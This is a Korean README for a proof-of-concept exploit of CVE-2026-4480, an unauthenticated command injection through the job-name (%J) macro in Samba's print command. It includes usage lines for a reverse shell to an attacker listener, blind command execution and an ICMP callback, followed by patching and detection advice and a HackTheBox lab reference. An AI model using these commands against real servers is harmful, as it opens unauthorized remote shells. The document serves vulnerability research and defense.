CVE-2026-4480: Samba print-command (%J) 명령 삽입 PoC

중요 — 먼저 읽으십시오:
이 저장소와 exploit.py는 교육 및 연구 목적으로만 제공됩니다. 명시적, 서면 승인을 받지 않은 시스템, 네트워크 또는 서비스에 이 코드를 사용하지 마십시오. 컴퓨터 시스템에 대한 무단 접근은 불법이며 비윤리적입니다. 이 코드를 사용함으로써 귀하는 관련 법률 및 기관 정책을 준수하는 데 동의하게 됩니다.

Samba 인쇄 하위 시스템에서 인증되지 않은 원격 명령 실행 취약점입니다. 인쇄 작업이 스풀링을 완료하면 Samba는 구성된 print command를 system()을 통해 실행하며, 문자열에서 %s(스풀 파일 경로)와 %J(클라이언트가 제공한 작업 이름)를 치환합니다. 수정 전에는 작업 이름이 ' → _ 단일 변환 외에는 아무런 처리 없이 전달되었으므로 |, ;, &, 공백, <, > 및 백틱이 모두 셸에 도달할 수 있었습니다. 따라서 %J를 참조하는 print command는 셸 주입 지점이 되며, 게스트가 인쇄 작업을 제출할 수 있으므로 이 문제는 인증 전(pre-auth) 취약점입니다.

• CVE: CVE-2026-4480
• CVSS: 10.0
• 수정 버전: Samba 4.22.10, 4.23.8, 4.24.3
• 영향 범위: %J를 참조하는 외부 print command를 실행하는 인쇄 백엔드 (printing = sysv 방식). printing = cups / iprint는 CUPS API를 통해 처리되며 영향을 받지 않습니다.

요구 사항

• Samba Python 바인딩이 있는 Linux:
  root@kitploit:~

  sudo apt install python3-samba
  

• 대상의 SMB 포트(445/139)에 대한 네트워크 접근.
• 대상에 게스트가 접근 가능한 프린터 공유가 있어야 하며 해당 print command가 %J를 참조해야 합니다.

사용법

python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]

리버스 셸

# 터미널 1: 리스너
nc -lvnp 4444

# 터미널 2: 익스플로잇 실행
python3 exploit.py 10.129.244.177 10.10.14.100 4444

인쇄 서비스 계정(예: nobody)으로 셸을 획득할 수 있습니다.

단일 명령 실행 (블라인드)

python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'

실행은 블라인드(명령이 서버 측에서 실행되고 RPC 채널로는 아무것도 반환되지 않음)이므로 먼저 대역 외로 확인하십시오. 예를 들어 tcpdump -ni tun0 icmp로 관찰하는 ICMP 콜백:

python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'

탐지 / 완화

• 4.22.10 / 4.23.8 / 4.24.3(또는 이후 버전)으로 패치.
• 패치할 수 없다면 매크로를 따옴표로 묶으십시오: print command = /usr/local/bin/print-helper %s '%J', %J를 제거하거나 printing = cups로 전환.
• 셸을 생성하는 smbd 프로세스(sh/bash/nc/python/curl)와 셸 메타문자를 포함한 문서 이름을 탐지하십시오.

HackTheBox에서 실습

취약점을 소개하고 공격자가 잘못 구성된 환경에서 이를 어떻게 악용할 수 있는지 직접 실습할 수 있도록 HackTheBox에 Abducted라는 머신을 만들었습니다.